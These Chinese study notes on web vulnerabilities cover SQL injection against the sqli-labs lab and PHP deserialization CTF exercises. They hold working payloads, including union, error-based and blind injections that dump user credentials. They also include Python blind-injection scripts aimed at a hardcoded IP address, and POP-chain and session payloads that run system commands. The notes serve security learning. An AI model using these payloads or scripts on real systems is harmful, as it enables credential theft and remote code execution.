Web学习笔记

Web基础漏洞

SQL注入漏洞

什么是 Sql 注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

注意!!!下面的注入示例以sql-labs为例

联合注入

SQL语句的union联合注入的常用格式如下

1
select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

而在注入过程中,我们把union select 4,5,6 from table_name2部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3==4,5,6均为3列。我们把这种注入方式称为union注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断列数
?id=1' order by 3 --+

//判断回显点
-1' union select 1,2,3 --+

//尝试利用回显点进行查询
-1' union select 1,database(),version() --+

//获取所有数据库的名称
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

//获取数据库'security'中的所有表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

//获取'users'表内的字段信息
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

//获取'username''password'字段内的信息,使用0x7e(~)作用是充当连接符,方便查看
-1' union select 1,(select group_concat(username,0x7e,password) from users),3 --+

报错注入

updatexml

1
2
3
4
5
6
7
8
9
10
11
//获取数据库名称
?id=-1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

//获取数据库中所有表的名称
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

//获取'users'表内的字段信息
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) --+

//获取'username'和'password'字段内的信息
?id=-1' and updatexml(1,concat(0x5c,(select group_concat(username,0x7e,password) from users),0x5c),1) --+

extractvalue

1
2
3
4
5
6
7
8
9
10
11
//获取数据库名称
?id=1' and (extractvalue(1,concat(0x5c,database(),0x5c))) --+

//获取数据库中所有表的名称
?id=1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))

//获取'users'表内的字段信息
?id=1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))) --+

//获取'username'和'password'字段内的信息
?id=1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c))) --+

注意!!!

在使用报错函数进行数据回显的时候,往往会遇到字符长度限制的问题,此时使用group_concat函数进行单行输出是无法输出完整的,会限制其输出的内容在32字节,下面给出一个可行的解决方案:

1
2
//用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

布尔盲注

1
2
3
//判断是否存在布尔盲注
?id=1' and 1=2 --+
?id=1' and 1=1 --+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import requests

url = "http://47.236.231.110:8001/Less-8/"
result = ""
for i in range(1, 100):
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 求取中值
while (min_value < max_value):
payload = "?id=1' and (ascii(substr(database(),{0},1))>{1}) --+".format(i, mid)

get_url = url + payload
html = requests.get(get_url)
get_url = ''
# 判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
if "You are in..........." in html.text:
min_value = mid + 1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value + max_value) // 2
# 找不到目标元素时停止(停止符号可能得微调)
if (chr(mid) == "!"):
break
# 将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("数据库名称是:", result)

for i in range(1, 100):
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 求取中值
while (min_value < max_value):
payload = "?id=1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}) --+".format(i, mid)

get_url = url + payload
html = requests.get(get_url)
get_url = ''
# 判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
if "You are in..........." in html.text:
min_value = mid + 1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value + max_value) // 2
# 找不到目标元素时停止(停止符号可能得微调)
if (chr(mid) == "!"):
break
# 将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("数据库中存在的表的名称是:", result)

for i in range(1, 100):
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 求取中值
while (min_value < max_value):
payload = "?id=1' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{0},1))>{1}) --+".format(i, mid)

get_url = url + payload
html = requests.get(get_url)
get_url = ''
# 判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
if "You are in..........." in html.text:
min_value = mid + 1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value + max_value) // 2
# 找不到目标元素时停止(停止符号可能得微调)
if (chr(mid) == "!"):
break
# 将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("表中的字段名是:", result)

for i in range(1, 100):
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 求取中值
while (min_value < max_value):
payload = "?id=1' and (ascii(substr((select group_concat(username,password) from users),{0},1))>{1}) --+".format(i, mid)

get_url = url + payload
html = requests.get(get_url)
get_url = ''
# 判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
if "You are in..........." in html.text:
min_value = mid + 1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value + max_value) // 2
# 找不到目标元素时停止(停止符号可能得微调)
if (chr(mid) == "!"):
break
# 将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("字段的值是:", result)

时间盲注

1
2
//判断是否存在时间盲注
?id=1' and if(ascii(substr(user(),1,1))>1, sleep(5),0) --+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import requests
import time

url = "http://47.236.231.110:8001/Less-9/"
result = ""

for i in range(1,100):
min_value = 33
max_value = 130
mid = (min_value+max_value)//2 #求取中值
while(min_value<max_value):
payload = "?id=1' and if(ascii(substr(database(),{0},1))>{1}, sleep(2),0) --+".format(i, mid)
get_url = url + payload
time1 = time.time()
html = requests.get(get_url)
time2 = time.time()
get_url = ''
#判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
time3 = time2 - time1
if time3 > 2:
min_value = mid+1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value+max_value)//2
#找不到目标元素时停止(停止符号可能得微调)
if(chr(mid)=="!"):
break
#将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("数据库名称是:",result)

for i in range(1,100):
min_value = 33
max_value = 130
mid = (min_value+max_value)//2 #求取中值
while(min_value<max_value):
payload = "?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}, sleep(2),0) --+".format(i, mid)
get_url = url + payload
time1 = time.time()
html = requests.get(get_url)
time2 = time.time()
get_url = ''
#判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
time3 = time2 - time1
if time3 > 2:
min_value = mid+1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value+max_value)//2
#找不到目标元素时停止(停止符号可能得微调)
if(chr(mid)=="!"):
break
#将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("数据库中存在的表的名称是:",result)

for i in range(1,100):
min_value = 33
max_value = 130
mid = (min_value+max_value)//2 #求取中值
while(min_value<max_value):
payload = "?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{0},1))>{1}, sleep(2),0) --+".format(i, mid)
get_url = url + payload
time1 = time.time()
html = requests.get(get_url)
time2 = time.time()
get_url = ''
#判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
time3 = time2 - time1
if time3 > 2:
min_value = mid+1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value+max_value)//2
#找不到目标元素时停止(停止符号可能得微调)
if(chr(mid)=="!"):
break
#将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("表中的字段名是:",result)

for i in range(1,100):
min_value = 33
max_value = 130
mid = (min_value+max_value)//2 #求取中值
while(min_value<max_value):
payload = "?id=1' and if(ascii(substr((select group_concat(username,password) from users),{0},1))>{1}, sleep(2),0) --+".format(i, mid)
get_url = url + payload
time1 = time.time()
html = requests.get(get_url)
time2 = time.time()
get_url = ''
#判断中间数值的位置,中间数在目标之上,最大区间点替换为中间数,中间数在目标数目之下,最小区间点替换为中间数
time3 = time2 - time1
if time3 > 2:
min_value = mid+1
else:
max_value = mid
# --- 每一次循环都会刷新这里的中间数值
mid = (min_value+max_value)//2
#找不到目标元素时停止(停止符号可能得微调)
if(chr(mid)=="!"):
break
#将ACLL码转换为字符,叠加返回结果result
result += chr(mid)
print(result)
print("表中的字段名是:",result)

堆叠注入

CSRF跨站漏洞

SSRF服务端请求伪造漏洞

任意文件上传漏洞

XXE漏洞

反序列化漏洞

什么是反序列化漏洞

序列化:把对象转换为字节序列的过程称为对象的序列化,作用是对象状态的保存。

反序列化:把字节序列恢复为对象的过程称为对象的反序列化,作用是重建对象。

web当中的几种典型反序列化漏洞:php反序列化、JAVA反序列化(shiro反序列化、fastjson反序列化)

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,sql注入,目录遍历等不可控的后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

序列化函数:serialize() //将一个对象转换成一个字符串 ,序列化

反序列化函数:unserialize()//将字符串转换为一个对象。反序列化

问题在于使用unserialize()将字节序列反序列化成对象时,存在变量可控,可以触发魔术方法

权限修饰符

public(公有):公有的类成员可以在任何地方被访问

private(受保护):受保护的类成员则可以被其自身以及其子类和父类访问

protected(私有):私有的类成员则只能被其定义所在的类访问

注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct():类的构造函数,对象创建完成后第一个被对象自动调用的方法
__destruct():类的析构函数,当对象被销毁时候自动触发
__call():在对象中调用一个不可访问方法时调用
__callStatic():用静态方式中调用一个不可访问方法时调用
__get():获得一个类的成员变量时调用
__set():设置一个类的成员变量时调用
__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用
__sleep():执行serialize()时,先会调用这个函数
__wakeup():执行unserialize()时,先会调用这个函数
__toString():类被当成字符串时的回应方法
__invoke():调用函数的方式调用一个对象时的回应方法
__set_state():调用var_export()导出类时,此静态方法会被调用。
__clone():当对象复制完成时调用
__autoload():尝试加载未定义的类
__debugInfo():打印所需调试信息

construct&destruct

construct()为构造函数,当创建完一个对象的时候自动触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); //此处自动触发__construct
$ser = serialize($test);
unserialize($ser);

?>

触发了构造函数1

destruct()为析构函数,当对象被销毁时候自动触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben"); //此处触发__destruct
$ser = serialize($test);
unserialize($ser); //此处触发__destruct

?>

触发了析构函数1
触发了析构函数1

wakeup&sleep

sleep

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username);
}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c'); //此处触发__sleep
echo serialize($user);
?>

wakeup

触发时机:反序列化unserialize()之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; //此处触发__wakeup
var_dump(unserialize($user_ser));
?>

tostring&invoke

tostring:

触发时机:把对象当成字符串去调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test; //此处触发__toString
?>

把类$User实体化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump

如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时触发__toString

invoke:

触发时机:把对象当成函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben; //此处触发__invoke
?>

把类User实体化并赋值给$test为对象

正常输出对象里的值benben

()是把test当成函数test()来调用,从而触发invoke()

call

触发时机:调用一个不存在的方法

参数:2个参数传参

返回值:调用的不存在的方法的名称和参数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a'); //此处触发__call
?>

调用的方法callxxx()不存在,触发魔术方法call()

魔术方法call()传参$arg1$arg2(callxxx,a)

$arg1:调用的不存在的方法的名称

$arg2:调用的不存在的方法的参数

callStatic

触发时机:静态调用或调用成员常量时使用的方法不存在

参数:2个参数传参

返回值:调用的不存在的方法的名称和参数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a'); //此处触发__callStatic
?>

注意:静态属性不需要实例化即可调用,因为静态属性存放的位置是在类里

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
User::callxxx('a'); //此处触发__callStatic
?>

静态调用::时的方法callxxx()不存在

触发callStatic()传参$arg1$arg2(callxxx,a)

get

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; //此处触发__get
?>

调用的成员属性var2不存在

触发get()把不存在的属性名称var2赋值给$arg1

set

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1; //此处触发__set
?>

给不存在的成员属性var2赋值为1

先触发get()再触发set()

$arg1:不存在成员属性的名称

$arg2:给不存在的成员属性var2赋的值

isset

触发时机:对不可访问属性使用isset()empty()时,isset()会被调用

参数:传参$arg1

返回值:不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var); //此处触发__isset
?>

isset()调用的成员属性var不可访问或不存在

unset

触发时机:对不可访问属性使用unset()

参数:返回$arg1

返回值:不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var); //此处触发__unset
?>

unset()调用的成员属性var不可访问或不存在

触发unset()

返回$arg1不存在成员属性的名称

clone

触发时机:当使用clone关键字拷贝完成一个对象后,新对象自动调用定义的魔术方法__clone()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone()
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test) //此处触发__clone()
?>

使用clone()克隆对象完成后,触发魔术方法__clone()

POP链

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种Payload

例题一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){ //反序列化unserialize()触发魔术方法destruct()
$this->test->action(); //destruct()从$test调用action()
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2; //eval()调用$tset2
public function action(){
eval($this->test2); //可利用漏洞点在函数eval() (可以执行命令)
}
}
unserialize($_GET['test']);
?>

关联点:如何让$tset调用evil里的成员方法action()

解决思路:$test赋值为对象test = new evil()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class index{
private $test;
public function __construct() {
$this->test = new evil();
}
}

class evil{
var $test2 = "system('ls');";
}

$a = new index();
echo urlencode(serialize($a));

//O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

1.构造命令语句

2.实例化对象index(),自动调用__construct()

3.关联步骤:给$test赋值实例化对象 test = new evil()

此时$a为实例化对象index(),其中成员属性$test = new evil()$test为实例化对象evil(),成员属性$test2 = "system('ls');"

例题二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source; //$source = object sec
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source; //在echo中的source包含实例化sec()的对象
}
}
class sec {
var $benben;
public function __tostring(){ //把sec()实例化成对象后当成字符串输出
echo "tostring is here!!"; //需要触发__tostring()
}
}
$b = $_GET['benben'];
unserialize($b);
?>

在对象$a里让source赋值对象$b

在触发wakeup后执行echo从而触发sec里的__toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class fast{
public $source;
}

class sec{
var $benben;
}

$a = new sec();
$b = new fast();

$b -> source =$a;
echo serialize($b);

//O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

例题三:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

1.目标:触发echo,调用$flag

2.第一步:触发invoke,调用append,并使$var=flag.php(invoke触发条件:把对象当成函数)

3.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke

4.第二步:触发get(触发条件:调用不存在的成员属性)

5.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法get

6.第三步:触发toString(触发条件:把对象当成字符串)

7.给$source赋值为对象Show,当成字符串被echo调用,触发toString

8.最终步:触发wakeup(触发条件:反序列化unserialize)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

//flag is in flag.php
class Modifier
{
private $var = 'flag.php';
}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$mod = new Modifier();
$test = new Test();
$test->p = $mod;
$show = new Show();
$show->source = $show;
$show->str = $test;
echo serialize($show);

?>

字符串逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

字符串逃逸增多例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

目标逃逸代码:s:4:"pass";s:8:"escaping";}

php被替换成hack,字符串会增多,会吐出字符串变成结构代码,一个php吐出一个字符,共需要吐出29个字符,包括补全结构";

1
2
Payload:
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

字符串逃逸减少例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>

flag被替换成hk,字符串减少,会吃掉后面的结构代码,吃完";s:4"pass";s:6"后,$pass的值benben可控,字符串逃逸

flag->hk,吃一次少2个字符,要吃够19位最少要吃10次,多吃1位在后面补

需要吃掉的字符:1";s:4"pass";s:6:"benben";s:3:"vip";b:1}

1
2
3
Payload:
user=flagflagflagflagflagflagflagflagflagflag
pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

wakeup魔术方法绕过

反序列化漏洞:CVE-2016-7124

PHP版本限制:PHP5<5.6.25;PHP7<7.0.10

漏洞产生原因:如果存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实个数的属性个数时,会跳过__wakeup()的执行

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){ //__destruct()会在反序列化之后触发
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php'; //__wakeup()在反序列化之前触发,会把file值改成'index.php'
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

解题方法:

原序列化字符串:

1
O:6:"secret":1:{s:4:"file";s:8:"flag.php"}

把成员属性的数量值修改为2,可以跳过__wakeup()

O:6写成O:+6可以绕过正则的判断

1
O:+6:"secret":2:{s:4:"file";s:8:"flag.php"}

进行urlencode后提交

1
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

exp:

1
2
3
4
5
6
7
8
9
<?php
class secret{
var $file = 'flag.php';
}

//echo serialize(new secret());
//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
echo urlencode($a);

序列号过程中的引用

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

障碍:$pass获取值pass后,str_place把*替换掉

思路:通过构造$pass的值pass使$enter=*

$o为反序列化$pass后的对象,且赋值secret="*"

最终目的:secret===enter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class just4fun{
var $enter;
var $secret;
}

$a = new just4fun();
$a -> enter = &$a -> secret;
echo serialize($a);

Payload:
//O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}


session反序列化

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化后,存储到指定目录(默认为/tmp)

session默认情况下用php格式存储:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

?ben=dazhuang

benben|s:8:"dazhuang"
php:键名+竖线+经过serialize()函数序列化处理的值

session存储格式为php_serialize:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

?ben=dazhuang&b=666

a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}
php_serialize:经过serialize()函数序列化处理的数组

session存储格式为php_binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

?ben=dazhuang&b=666

ACKbenbens:8:"dazhuang";SOHbs:3:"666";
php_binary:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

例题一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//save.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

//vul.php
<?php
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

当网站序列号并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生

1
2
3
4
5
<?php
class D{
var $a = "system('whoami');";
}
echo serialize(new D());

Payload:

1
|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}

例题二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//index.php
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

//hint.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

rand随机生成1到10000中的一个数字并md5加密后赋值给her

目标使得name===her

exp:

1
2
3
4
5
6
7
8
9
<?php
class Flag{
public $name;
public $her;
}

$a = new Flag();
$a -> name = &$a -> her;
echo serialize($a);

Payload:

1
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

phar反序列化漏洞

phar(PHP ARchive)是PHP里类似于JAR的一种打包文件

对于PHP5.3或更高版本,phar后缀文件是默认开启支持的,可以直接使用它

文件包含:phar伪协议,可读取.phar文件

phar结构

stub phar 文件标识,格式为xxx<?php< xxx;__HALT_COMPiLER();?>; (头部信息)

manifest 压缩文件的属性等信息,以序列化存储

contents 压缩文件的内容

signature 签名,放在文件末尾

phar协议解析文件时,会自动触发对manifast字段的序列化字符串进行反序列化

phar漏洞原理

